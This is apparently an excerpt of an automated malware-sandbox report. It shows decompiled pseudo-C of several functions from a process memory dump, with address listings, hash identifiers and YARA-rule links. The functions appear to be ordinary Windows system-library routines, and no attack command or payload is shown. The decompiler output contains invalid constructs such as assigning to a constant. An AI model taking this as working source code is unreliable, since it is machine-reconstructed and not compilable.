										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L046577F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x4727b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x4727b10; // 0x9
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E046737C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x4727b9c; // 0x0
									_t214 = L04654620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E046737F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x4727b10 =  *0x4727b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x4727b04 =  *0x4727b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L046577F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L046577F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x4727b08 =  *0x4727b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E046757C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E0467F3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L046577F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E0466A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L046577F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E046796C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x0464849b
0x0464849b
0x0464849b
0x0464849b
0x0464849d
0x046484a2
0x046484a7
0x046484b1
0x046484d8
0x00000000
0x046484b3
0x046484c4
0x046484c9
0x046484cd
0x046484cf
0x046484cf
0x046484d6
0x046484e6
0x046484e9
0x046484ec
0x046484ef
0x046484f2
0x046484f4
0x046484fc
0x04648501
0x04648506
0x04648509
0x046486e0
0x046486e5
0x046486e8
0x046486ed
0x046486f0
0x046486f2
0x04699afd
0x04699b02
0x046484da
0x046484df
0x046484df
0x046486fa
0x046486fd
0x046486fe
0x04648701
0x04648706
0x04648709
0x0464870b
0x00000000
0x00000000
0x04648711
0x04648725
0x04648727
0x0464872a
0x0464872c
0x04699af0
0x04699af5
0x04648732
0x04648732
0x04648732
0x04648735
0x04648737
0x04648515
0x04648515
0x04648518
0x0464851d
0x04648523
0x04648527
0x0464852b
0x04648537
0x04648539
0x0464853c
0x0464853e
0x0464868c
0x04648691
0x04648699
0x0464869b
0x04648744
0x04648748
0x046486a1
0x046486a1
0x046486a1
0x046486a4
0x046486a8
0x04699bdf
0x04699bdf
0x046486ae
0x046486b0
0x00000000
0x046486b6
0x00000000
0x04699be9
0x046486b0
0x04648544
0x0464854a
0x0464854d
0x04648551
0x0464876e
0x04648778
0x0464877b
0x04648780
0x04648557
0x04648557
0x0464855d
0x0464855d
0x0464856b
0x0464856e
0x04648570
0x04648573
0x04648576
0x04648576
0x04648579
0x0464857b
0x00000000
0x00000000
0x04648581
0x046485a0
0x046485a2
0x046485a5
0x046485a7
0x04699b1b
0x04699b1b
0x0464862e
0x0464862e
0x04648631
0x04648631
0x04648634
0x04648636
0x04648669
0x04648669
0x0464866b
0x04699bbf
0x04699bc4
0x04699bc8
0x04699bce
0x04699bce
0x04648671
0x04648671
0x04648674
0x04648676
0x04699bae
0x04699bae
0x04648676
0x0464867c
0x0464867e
0x04648688
0x04648688
0x00000000
0x0464867e
0x04648638
0x04648638
0x0464863b
0x0464863e
0x0464863f
0x04648642
0x04648645
0x04648648
0x0464864d
0x04699b69
0x04699b6e
0x04699b7b
0x04699b81
0x04699b85
0x04699b89
0x04699ba7
0x04699b8b
0x04699b91
0x04699b9a
0x04699b9f
0x04699b9f
0x04648788
0x0464878d
0x04648763
0x04648763
0x04648766
0x00000000
0x04648766
0x04699b70
0x00000000
0x04699b70
0x04648656
0x0464865a
0x0464865c
0x04648752
0x04648756
0x00000000
0x00000000
0x0464875e
0x00000000
0x0464875e
0x04648662
0x04648662
0x04648662
0x04648666
0x00000000
0x04648666
0x046485b7
0x046485b9
0x046485bc
0x046485bf
0x046485cc
0x046485d1
0x046485d4
0x046485db
0x046485de
0x046485e0
0x04699b5f
0x00000000
0x04699b5f
0x046485e6
0x046485ea
0x046486c3
0x046486c5
0x046486c8
0x046486ca
0x04699b16
0x00000000
0x04699b16
0x046486d6
0x046485f6
0x046485f6
0x046485f9
0x04648602
0x04648606
0x0464860a
0x0464860b
0x0464860e
0x04648611
0x00000000
0x04648611
0x046485f3
0x00000000
0x046485f3
0x04648619
0x0464861e
0x0464861e
0x04648621
0x04648622
0x04648623
0x04648625
0x0464862c
0x00000000
0x0464873d
0x00000000
0x0464873d
0x04648737
0x0464850f
0x04648512
0x00000000
0x04648512
0x00000000
0x046484d6

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6858e9d54accd189312959bc137dcac069024417be2e54fd4e1f3300fe260550
Instruction ID: 5b9638f980408a5fcb7bfb64dcddbb88ea59e8131715c4dd8f1ef45586638eb0
Opcode Fuzzy Hash: 6858e9d54accd189312959bc137dcac069024417be2e54fd4e1f3300fe260550
Instruction Fuzzy Hash: D1B107B4E002099FDF68EF99C984AADBBB9FF84304F104529E405AB355E774BD46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0466513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0466513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x472d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E0467D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E04652280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L04654620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E0467F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E0464FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x472b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E0467B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x04665142
0x0466514c
0x04665150
0x04665157
0x04665159
0x0466515e
0x04665165
0x04665169
0x0466516c
0x04665172
0x04665176
0x0466517a
0x0466517a
0x0466517a
0x0466517f
0x046a6d8b
0x046a6d8e
0x046a6d91
0x046a6d95
0x046a6d98
0x046a6d9c
0x046a6da0
0x046a6da3
0x046a6da7
0x046a6e26
0x046a6e26
0x046a6e2a
0x046651f9
0x046651f9
0x046651fe
0x046a6e33
0x046a6e33
0x046a6e39
0x046a6e3d
0x046a6e46
0x046a6e50
0x00000000
0x00000000
0x046a6e52
0x046a6e53
0x046a6e56
0x046a6e5d
0x00000000
0x00000000
0x00000000
0x046a6e5f
0x046a6e67
0x046a6e77
0x046a6e7f
0x046a6e80
0x046a6e88
0x046a6e90
0x046a6e9f
0x046a6ea5
0x046a6ea9
0x046a6eb1
0x046a6ebf
0x00000000
0x00000000
0x046a6ecf
0x046a6ed3
0x00000000
0x00000000
0x046a6edb
0x046a6ede
0x046a6ee1
0x046a6ee8
0x046a6eeb
0x046a6eed
0x046a6ef0
0x046a6ef4
0x046a6ef8
0x046a6efc
0x00000000
0x00000000
0x046a6f0d
0x046a6f11
0x046a6f32
0x046a6f37
0x046a6f3b
0x046a6f3e
0x046a6f41
0x046a6f46
0x00000000
0x00000000
0x046a6f4c
0x046a6f50
0x046a6f50
0x046a6f54
0x046a6f62
0x046a6f65
0x046a6f6d
0x046a6f7b
0x046a6f7b
0x046a6f93
0x046a6f98
0x046a6fa0
0x046a6fa6
0x046a6fb3
0x046a6fb6
0x046a6fbf
0x046a6fc1
0x046a6fd5
0x046a6fda
0x046a6fda
0x046a6fdd
0x046a6fe2
0x046a6fe7
0x046a6feb
0x046a6fef
0x046a6ff3
0x0466520c
0x0466520c
0x0466520f
0x04665215
0x04665234
0x0466523a
0x0466523a
0x04665244
0x04665245
0x04665246
0x04665251
0x04665251
0x046a6f13
0x046a6f17
0x046a6f17
0x046a6f18
0x046a6f1b
0x046a6f1f
0x046a6f23
0x00000000
0x046a6f28
0x04665204
0x04665204
0x04665208
0x00000000
0x04665208
0x04665185
0x04665188
0x0466518a
0x0466518e
0x04665195
0x046a6db1
0x046a6db5
0x046a6db9
0x0466519b
0x0466519b
0x0466519e
0x046651a7
0x046651a9
0x046651a9
0x046651b5
0x046651b8
0x046651bb
0x046651be
0x046651c1
0x046651c5
0x046651c9
0x046651cd
0x046651cd
0x046651d8
0x046651dc
0x046651e0
0x046a6dcc
0x046a6dd0
0x046a6dd5
0x046a6ddd
0x046a6de1
0x046a6de1
0x046a6de5
0x046a6deb
0x046a6df1
0x046a6df7
0x046a6dfd
0x046a6e01
0x046a6e05
0x046a6e09
0x046a6e0d
0x046a6e11
0x046a6e11
0x046651eb
0x046a6e1a
0x046a6e1f
0x046a6e21
0x046a6e23
0x00000000
0x046651f1
0x046651f1
0x00000000
0x046651f1

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efbb50bb7a8fb85771d0c6c18580fc141c66055c679c5e67c0c14ef5210af20e
Instruction ID: 2654274e70b77940f431d3e684d3becd6a6d5611fea7bb95ff15a5c38a492ac5
Opcode Fuzzy Hash: efbb50bb7a8fb85771d0c6c18580fc141c66055c679c5e67c0c14ef5210af20e
Instruction Fuzzy Hash: 88C102756087809FD354CF28C580A5AFBE1BF88308F18496EF99A8B352E771E945CF52

Uniqueness

Uniqueness Score: -1.00%

Function 046603E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E046603E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x472d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E04660548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E0467B640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E0464B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x4727c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E04657D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E04657D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E046B7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E04679830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E046B69A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x4727c04 != 0) {
						_t118 = _v12;
						_t120 = E046BA7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x4727bd8;
						if( *0x4727bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E046795D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E046799A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E046B3540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E0463B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E0467AAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x4728474 - 3;
										if( *0x4728474 != 3) {
											 *0x47279dc =  *0x47279dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E04657D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E04657D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E046B7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x4728708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x4727b00; // 0x0
							asm("ror esi, cl");
							 *0x472b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E046795D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E04647F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x046603f1
0x046603f7
0x046603f9
0x046603fb
0x046603fd
0x04660400
0x0466040a
0x046a4c7a
0x04660537
0x04660547
0x04660410
0x04660410
0x04660414
0x04660417
0x0466041a
0x04660421
0x04660424
0x0466042b
0x0466043b
0x0466043e
0x0466043f
0x0466043f
0x04660446
0x04660449
0x0466044c
0x0466044f
0x04660459
0x046a4c8d
0x0466045f
0x0466045f
0x0466045f
0x04660467
0x046a4c97
0x046a4c9d
0x046a4ca4
0x046a4caa
0x046a4caf
0x046a4cb1
0x046a4cc3
0x046a4cb3
0x046a4cbc
0x046a4cbc
0x046a4cc8
0x046a4ccb
0x046a4cd7
0x046a4cda
0x046a4cdf
0x046a4cdf
0x046a4ccb
0x046a4ca4
0x0466046d
0x0466046f
0x0466046f
0x04660471
0x04660476
0x0466047a
0x0466047b
0x04660483
0x04660489
0x0466048d
0x00000000
0x00000000
0x046a4ce9
0x046a4cef
0x046a4d22
0x046a4d22
0x00000000
0x046a4d22
0x046a4cf1
0x046a4cf7
0x00000000
0x00000000
0x046a4cf9
0x046a4cff
0x00000000
0x00000000
0x046a4d05
0x046a4d07
0x00000000
0x00000000
0x046a4d0d
0x046a4d0f
0x046a4d14
0x046a4d16
0x00000000
0x00000000
0x046a4d1c
0x046a4d1c
0x04660499
0x04660535
0x04660535
0x00000000
0x04660535
0x046604a6
0x046a4d2c
0x046a4d37
0x046a4d39
0x046a4d3b
0x00000000
0x00000000
0x046a4d41
0x046a4d48
0x04660527
0x0466052b
0x0466052d
0x04660530
0x04660530
0x00000000
0x0466052b
0x046a4d4e
0x046604ac
0x046604ac
0x046604af
0x046604b2
0x046604b7
0x046604b9
0x046604bb
0x046604bd
0x046604bf
0x046604c5
0x046604c9
0x046a4d53
0x046a4d59
0x046a4db9
0x046a4dba
0x046a4dbf
0x046a4dc2
0x046a4dc4
0x046a4dc7
0x046a4dce
0x00000000
0x046a4dce
0x046a4d5b
0x046a4d61
0x00000000
0x00000000
0x046a4d63
0x046a4d69
0x00000000
0x00000000
0x046a4d6b
0x046a4d6e
0x046a4d74
0x046a4d76
0x046a4d7c
0x046a4d7e
0x046a4d84
0x046a4d89
0x046a4d8c
0x046a4d8d
0x046a4d92
0x046a4d95
0x046a4d96
0x046a4d98
0x046a4d9a
0x046a4d9f
0x046a4da4
0x046a4da6
0x046a4da8
0x046a4daf
0x046a4db1
0x046a4db1
0x046a4daf
0x046a4da6
0x046a4d84
